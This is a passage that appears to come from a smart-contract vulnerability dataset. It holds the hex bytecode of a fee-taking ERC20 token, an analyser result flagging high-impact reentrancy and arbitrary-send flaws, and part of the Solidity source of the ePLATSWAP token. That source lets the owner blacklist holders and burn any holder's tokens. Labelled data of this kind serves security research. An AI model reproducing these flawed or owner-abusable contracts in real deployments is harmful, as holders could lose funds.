1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790613010565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a6461348d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906133e6565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611e8f565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90613010565b60405180910390fd5b601060149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90613090565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680d8d726b7177a80000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612975565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612975565b6040518363ffffffff1660e01b8152600401610df9929190612e60565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612975565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612eb2565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612b45565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550670a688906bd8b00006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612e89565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612aeb565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790613010565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612fd0565b60405180910390fd5b6111b260646111a483680d8d726b7177a8000061211790919063ffffffff16565b61219290919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516111e991906130d0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90613070565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612f90565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144191906130d0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590613050565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612f50565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890613030565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57601060179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f906130b0565b60405180910390fd5b5b5b60115481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750601060179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613206565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050601060159054906101000a900460ff16158015611b085750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750601060169054906101000a900460ff165b15611b4857611b2e81611e8f565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c07848484846121dc565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612f2e565b60405180910390fd5b5060008385611c6491906132e7565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd4600a611cc660058661211790919063ffffffff16565b61219290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d63600a611d5560048661211790919063ffffffff16565b61219290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611df2600a611de460018661211790919063ffffffff16565b61219290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e1d573d6000803e3d6000fd5b5050565b6000600654821115611e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5f90612f70565b60405180910390fd5b6000611e72612209565b9050611e87818461219290919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ec757611ec66134bc565b5b604051908082528060200260200182016040528015611ef55781602001602082028036833780820191505090505b5090503081600081518110611f0d57611f0c61348d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611faf57600080fd5b505afa158015611fc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fe79190612975565b81600181518110611ffb57611ffa61348d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206230600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120c69594939291906130eb565b600060405180830381600087803b1580156120e057600080fd5b505af11580156120f4573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561212a576000905061218c565b60008284612138919061328d565b9050828482612147919061325c565b14612187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217e90612ff0565b60405180910390fd5b809150505b92915050565b60006121d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612234565b905092915050565b806121ea576121e9612297565b5b6121f58484846122c8565b8061220357612202612493565b5b50505050565b60008060006122166124a5565b9150915061222d818361219290919063ffffffff16565b9250505090565b6000808311829061227b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122729190612f2e565b60405180910390fd5b506000838561228a919061325c565b9050809150509392505050565b60006008541480156122ab57506000600954145b156122b5576122c6565b600060088190555060006009819055505b565b6000806000806000806122da87612507565b95509550955095509550955061233886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123cd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061241981612616565b61242384836126d3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248091906130d0565b60405180910390a3505050505050505050565b6005600881905550600f600981905550565b600080600060065490506000680d8d726b7177a8000090506124db680d8d726b7177a8000060065461219290919063ffffffff16565b8210156124fa57600654680d8d726b7177a80000935093505050612503565b81819350935050505b9091565b60008060008060008060008060006125238a600854600f61270d565b9250925092506000612533612209565b905060008060006125468e8787876127a3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125c79190613206565b90508381101561260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390612fb0565b60405180910390fd5b8091505092915050565b6000612620612209565b90506000612637828461211790919063ffffffff16565b905061268b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126e88260065461256e90919063ffffffff16565b600681905550612703816007546125b890919063ffffffff16565b6007819055505050565b600080600080612739606461272b888a61211790919063ffffffff16565b61219290919063ffffffff16565b905060006127636064612755888b61211790919063ffffffff16565b61219290919063ffffffff16565b9050600061278c8261277e858c61256e90919063ffffffff16565b61256e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127bc858961211790919063ffffffff16565b905060006127d3868961211790919063ffffffff16565b905060006127ea878961211790919063ffffffff16565b9050600061281382612805858761256e90919063ffffffff16565b61256e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061283f61283a84613185565b613160565b90508083825260208201905082856020860282011115612862576128616134f0565b5b60005b858110156128925781612878888261289c565b845260208401935060208301925050600181019050612865565b5050509392505050565b6000813590506128ab81613806565b92915050565b6000815190506128c081613806565b92915050565b600082601f8301126128db576128da6134eb565b5b81356128eb84826020860161282c565b91505092915050565b6000813590506129038161381d565b92915050565b6000815190506129188161381d565b92915050565b60008135905061292d81613834565b92915050565b60008151905061294281613834565b92915050565b60006020828403121561295e5761295d6134fa565b5b600061296c8482850161289c565b91505092915050565b60006020828403121561298b5761298a6134fa565b5b6000612999848285016128b1565b91505092915050565b600080604083850312156129b9576129b86134fa565b5b60006129c78582860161289c565b92505060206129d88582860161289c565b9150509250929050565b6000806000606084860312156129fb576129fa6134fa565b5b6000612a098682870161289c565b9350506020612a1a8682870161289c565b9250506040612a2b8682870161291e565b9150509250925092565b60008060408385031215612a4c57612a4b6134fa565b5b6000612a5a8582860161289c565b9250506020612a6b8582860161291e565b9150509250929050565b600060208284031215612a8b57612a8a6134fa565b5b600082013567ffffffffffffffff811115612aa957612aa86134f5565b5b612ab5848285016128c6565b91505092915050565b600060208284031215612ad457612ad36134fa565b5b6000612ae2848285016128f4565b91505092915050565b600060208284031215612b0157612b006134fa565b5b6000612b0f84828501612909565b91505092915050565b600060208284031215612b2e57612b2d6134fa565b5b6000612b3c8482850161291e565b91505092915050565b600080600060608486031215612b5e57612b5d6134fa565b5b6000612b6c86828701612933565b9350506020612b7d86828701612933565b9250506040612b8e86828701612933565b9150509250925092565b6000612ba48383612bb0565b60208301905092915050565b612bb98161331b565b82525050565b612bc88161331b565b82525050565b6000612bd9826131c1565b612be381856131e4565b9350612bee836131b1565b8060005b83811015612c1f578151612c068882612b98565b9750612c11836131d7565b925050600181019050612bf2565b5085935050505092915050565b612c358161332d565b82525050565b612c4481613370565b82525050565b6000612c55826131cc565b612c5f81856131f5565b9350612c6f818560208601613382565b612c78816134ff565b840191505092915050565b6000612c906023836131f5565b9150612c9b82613510565b604082019050919050565b6000612cb3602a836131f5565b9150612cbe8261355f565b604082019050919050565b6000612cd66022836131f5565b9150612ce1826135ae565b604082019050919050565b6000612cf9601b836131f5565b9150612d04826135fd565b602082019050919050565b6000612d1c601d836131f5565b9150612d2782613626565b602082019050919050565b6000612d3f6021836131f5565b9150612d4a8261364f565b604082019050919050565b6000612d626020836131f5565b9150612d6d8261369e565b602082019050919050565b6000612d856029836131f5565b9150612d90826136c7565b604082019050919050565b6000612da86025836131f5565b9150612db382613716565b604082019050919050565b6000612dcb6024836131f5565b9150612dd682613765565b604082019050919050565b6000612dee6017836131f5565b9150612df9826137b4565b602082019050919050565b6000612e116011836131f5565b9150612e1c826137dd565b602082019050919050565b612e3081613359565b82525050565b612e3f81613363565b82525050565b6000602082019050612e5a6000830184612bbf565b92915050565b6000604082019050612e756000830185612bbf565b612e826020830184612bbf565b9392505050565b6000604082019050612e9e6000830185612bbf565b612eab6020830184612e27565b9392505050565b600060c082019050612ec76000830189612bbf565b612ed46020830188612e27565b612ee16040830187612c3b565b612eee6060830186612c3b565b612efb6080830185612bbf565b612f0860a0830184612e27565b979650505050505050565b6000602082019050612f286000830184612c2c565b92915050565b60006020820190508181036000830152612f488184612c4a565b905092915050565b60006020820190508181036000830152612f6981612c83565b9050919050565b60006020820190508181036000830152612f8981612ca6565b9050919050565b60006020820190508181036000830152612fa981612cc9565b9050919050565b60006020820190508181036000830152612fc981612cec565b9050919050565b60006020820190508181036000830152612fe981612d0f565b9050919050565b6000602082019050818103600083015261300981612d32565b9050919050565b6000602082019050818103600083015261302981612d55565b9050919050565b6000602082019050818103600083015261304981612d78565b9050919050565b6000602082019050818103600083015261306981612d9b565b9050919050565b6000602082019050818103600083015261308981612dbe565b9050919050565b600060208201905081810360008301526130a981612de1565b9050919050565b600060208201905081810360008301526130c981612e04565b9050919050565b60006020820190506130e56000830184612e27565b92915050565b600060a0820190506131006000830188612e27565b61310d6020830187612c3b565b818103604083015261311f8186612bce565b905061312e6060830185612bbf565b61313b6080830184612e27565b9695505050505050565b600060208201905061315a6000830184612e36565b92915050565b600061316a61317b565b905061317682826133b5565b919050565b6000604051905090565b600067ffffffffffffffff8211156131a05761319f6134bc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061321182613359565b915061321c83613359565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132515761325061342f565b5b828201905092915050565b600061326782613359565b915061327283613359565b9250826132825761328161345e565b5b828204905092915050565b600061329882613359565b91506132a383613359565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132dc576132db61342f565b5b828202905092915050565b60006132f282613359565b91506132fd83613359565b9250828210156133105761330f61342f565b5b828203905092915050565b600061332682613339565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061337b82613359565b9050919050565b60005b838110156133a0578082015181840152602081019050613385565b838111156133af576000848401525b50505050565b6133be826134ff565b810181811067ffffffffffffffff821117156133dd576133dc6134bc565b5b80604052505050565b60006133f182613359565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134245761342361342f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61380f8161331b565b811461381a57600080fd5b50565b6138268161332d565b811461383157600080fd5b50565b61383d81613359565b811461384857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e37639f12a8f323fd5de932f543067a28bc63a9a97548ede1ee8efb73a516b5264736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,258 |
0xb6540a6144d3eda92b0b57934ab77c7eed288f78
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ePLATSWAP is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
